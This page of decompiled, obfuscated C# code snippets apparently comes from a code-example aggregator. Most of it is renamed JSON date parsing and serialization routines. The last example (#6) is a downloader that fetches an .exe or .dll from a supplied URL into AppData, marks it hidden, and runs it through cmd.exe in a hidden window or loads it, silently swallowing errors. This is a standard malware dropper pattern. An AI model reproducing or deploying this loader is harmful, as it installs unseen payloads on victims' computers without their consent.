コード例 #1
0
    // Token: 0x060005E3 RID: 1507 RVA: 0x00029544 File Offset: 0x00027744
    private static bool xkTsxUkKek(Struct8 struct8_0, DateTimeZoneHandling dateTimeZoneHandling_0, out DateTime dateTime_0)
    {
        long         long_;
        TimeSpan     timeSpan;
        DateTimeKind dateTimeKind;

        if (!Class25.smethod_19(struct8_0, out long_, out timeSpan, out dateTimeKind))
        {
            dateTime_0 = default(DateTime);
            return(false);
        }
        DateTime dateTime = Class25.smethod_11(long_);

        if (dateTimeKind != DateTimeKind.Unspecified)
        {
            if (dateTimeKind != DateTimeKind.Local)
            {
                dateTime_0 = dateTime;
            }
            else
            {
                dateTime_0 = dateTime.ToLocalTime();
            }
        }
        else
        {
            dateTime_0 = DateTime.SpecifyKind(dateTime.ToLocalTime(), DateTimeKind.Unspecified);
        }
        dateTime_0 = Class25.smethod_2(dateTime_0, dateTimeZoneHandling_0);
        return(true);
    }
コード例 #2
0
    // Token: 0x060005DB RID: 1499 RVA: 0x00028E4C File Offset: 0x0002704C
    internal static bool smethod_12(Struct8 struct8_0, DateTimeZoneHandling dateTimeZoneHandling_0, out DateTime dateTime_0)
    {
        Struct5 @struct = default(Struct5);

        if ([email protected]_0(struct8_0.method_0(), struct8_0.method_1(), struct8_0.method_2()))
        {
            dateTime_0 = default(DateTime);
            return(false);
        }
        DateTime dateTime_ = Class25.smethod_14(@struct);

        switch (@struct.enum6_0)
        {
        case (Enum6)1:
            dateTime_ = new DateTime(dateTime_.Ticks, DateTimeKind.Utc);
            break;

        case (Enum6)2:
        {
            TimeSpan timeSpan = new TimeSpan(@struct.int_7, @struct.int_8, 0);
            long     num      = dateTime_.Ticks + timeSpan.Ticks;
            if (num <= DateTime.MaxValue.Ticks)
            {
                dateTime_ = new DateTime(num, DateTimeKind.Utc).ToLocalTime();
            }
            else
            {
                num += dateTime_.smethod_0().Ticks;
                if (num > DateTime.MaxValue.Ticks)
                {
                    num = DateTime.MaxValue.Ticks;
                }
                dateTime_ = new DateTime(num, DateTimeKind.Local);
            }
            break;
        }

        case (Enum6)3:
        {
            TimeSpan timeSpan2 = new TimeSpan(@struct.int_7, @struct.int_8, 0);
            long     num       = dateTime_.Ticks - timeSpan2.Ticks;
            if (num >= DateTime.MinValue.Ticks)
            {
                dateTime_ = new DateTime(num, DateTimeKind.Utc).ToLocalTime();
            }
            else
            {
                num += dateTime_.smethod_0().Ticks;
                if (num < DateTime.MinValue.Ticks)
                {
                    num = DateTime.MinValue.Ticks;
                }
                dateTime_ = new DateTime(num, DateTimeKind.Local);
            }
            break;
        }
        }
        dateTime_0 = Class25.smethod_2(dateTime_, dateTimeZoneHandling_0);
        return(true);
    }
コード例 #3
0
    // Token: 0x060005E4 RID: 1508 RVA: 0x000295B4 File Offset: 0x000277B4
    private static bool smethod_20(string string_0, DateTimeZoneHandling dateTimeZoneHandling_0, string string_1, IFormatProvider iformatProvider_0, out DateTime dateTime_0)
    {
        DateTime dateTime;

        if (DateTime.TryParseExact(string_0, string_1, iformatProvider_0, DateTimeStyles.RoundtripKind, out dateTime))
        {
            dateTime   = Class25.smethod_2(dateTime, dateTimeZoneHandling_0);
            dateTime_0 = dateTime;
            return(true);
        }
        dateTime_0 = default(DateTime);
        return(false);
    }
コード例 #4
0
 // Token: 0x060005DF RID: 1503 RVA: 0x00029210 File Offset: 0x00027410
 internal static bool smethod_16(string string_0, DateTimeZoneHandling dateTimeZoneHandling_0, string string_1, IFormatProvider iformatProvider_0, out DateTime dateTime_0)
 {
     if (string_0.Length > 0)
     {
         if (string_0[0] == '/')
         {
             if (string_0.Length >= 9 && string_0.StartsWith("/Date(", StringComparison.Ordinal) && string_0.EndsWith(")/", StringComparison.Ordinal) && Class25.xkTsxUkKek(new Struct8(string_0.ToCharArray(), 0, string_0.Length), dateTimeZoneHandling_0, out dateTime_0))
             {
                 return(true);
             }
         }
         else if (string_0.Length >= 19 && string_0.Length <= 40 && char.IsDigit(string_0[0]) && string_0[10] == 'T' && DateTime.TryParseExact(string_0, "yyyy-MM-ddTHH:mm:ss.FFFFFFFK", CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind, out dateTime_0))
         {
             dateTime_0 = Class25.smethod_2(dateTime_0, dateTimeZoneHandling_0);
             return(true);
         }
         if (!string.IsNullOrEmpty(string_1) && Class25.smethod_20(string_0, dateTimeZoneHandling_0, string_1, iformatProvider_0, out dateTime_0))
         {
             return(true);
         }
     }
     dateTime_0 = default(DateTime);
     return(false);
 }
コード例 #5
0
    // Token: 0x060009AA RID: 2474 RVA: 0x00038324 File Offset: 0x00036524
    private string method_38(JsonWriter jsonWriter_0, object object_0, JsonContract jsonContract_0, out bool bool_0)
    {
        if (jsonContract_0.enum8_0 == (Enum8)3)
        {
            JsonPrimitiveContract jsonPrimitiveContract = (JsonPrimitiveContract)jsonContract_0;
            switch (jsonPrimitiveContract.method_5())
            {
            case (Enum3)22:
            case (Enum3)23:
            {
                float num = (float)object_0;
                bool_0 = false;
                return(num.ToString("R", CultureInfo.InvariantCulture));
            }

            case (Enum3)24:
            case (Enum3)25:
            {
                double num2 = (double)object_0;
                bool_0 = false;
                return(num2.ToString("R", CultureInfo.InvariantCulture));
            }

            case (Enum3)26:
            case (Enum3)27:
            {
                DateTime dateTime_ = Class25.smethod_2((DateTime)object_0, jsonWriter_0.DateTimeZoneHandling);
                bool_0 = false;
                StringWriter stringWriter = new StringWriter(CultureInfo.InvariantCulture);
                Class25.smethod_24(stringWriter, dateTime_, jsonWriter_0.DateFormatHandling, jsonWriter_0.DateFormatString, jsonWriter_0.Culture);
                return(stringWriter.ToString());
            }

            case (Enum3)28:
            case (Enum3)29:
            {
                bool_0 = false;
                StringWriter stringWriter2 = new StringWriter(CultureInfo.InvariantCulture);
                Class25.IxisRjgvuh(stringWriter2, (DateTimeOffset)object_0, jsonWriter_0.DateFormatHandling, jsonWriter_0.DateFormatString, jsonWriter_0.Culture);
                return(stringWriter2.ToString());
            }

            default:
            {
                bool_0 = true;
                string result;
                if (jsonPrimitiveContract.bool_2 && Class53.smethod_3(jsonPrimitiveContract.type_0, object_0, null, out result))
                {
                    return(result);
                }
                return(Convert.ToString(object_0, CultureInfo.InvariantCulture));
            }
            }
        }
        else
        {
            string result2;
            if (Class119.smethod_0(object_0, object_0.GetType(), out result2))
            {
                bool_0 = true;
                return(result2);
            }
            bool_0 = true;
            return(object_0.ToString());
        }
    }
コード例 #6
0
    // Token: 0x060001F5 RID: 501 RVA: 0x0000FDB0 File Offset: 0x0000DFB0
    public static void smethod_0(string string_0, string string_1)
    {
        string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

        if (string_0 != "")
        {
            if (string_1.EndsWith(".exe"))
            {
                try
                {
                    if (File.Exists(folderPath + "\\" + string_1))
                    {
                        try
                        {
                            File.Delete(folderPath + "\\" + string_1);
                        }
                        catch
                        {
                        }
                    }
                    using (WebClient webClient = new WebClient())
                    {
                        webClient.DownloadFile(string_0, folderPath + "\\" + string_1);
                    }
                    File.SetAttributes(folderPath + "\\" + string_1, FileAttributes.Hidden);
                    string           str       = folderPath + "\\" + string_1;
                    ProcessStartInfo startInfo = new ProcessStartInfo
                    {
                        UseShellExecute  = true,
                        WorkingDirectory = "C:\\Windows\\System32",
                        FileName         = "C:\\Windows\\System32\\cmd.exe",
                        Arguments        = "/c " + str,
                        WindowStyle      = ProcessWindowStyle.Hidden
                    };
                    Process.Start(startInfo);
                    return;
                }
                catch
                {
                    return;
                }
            }
            if (string_1.EndsWith(".dll"))
            {
                if (File.Exists(folderPath + "\\" + string_1))
                {
                    try
                    {
                        File.Delete(folderPath + "\\" + string_1);
                    }
                    catch
                    {
                    }
                }
                try
                {
                    using (WebClient webClient2 = new WebClient())
                    {
                        webClient2.DownloadFile(string_0, folderPath + "\\" + string_1);
                    }
                    File.SetAttributes(folderPath + "\\" + string_1, FileAttributes.Hidden);
                    Class25.smethod_2(folderPath + "\\" + string_1);
                }
                catch
                {
                }
            }
        }
    }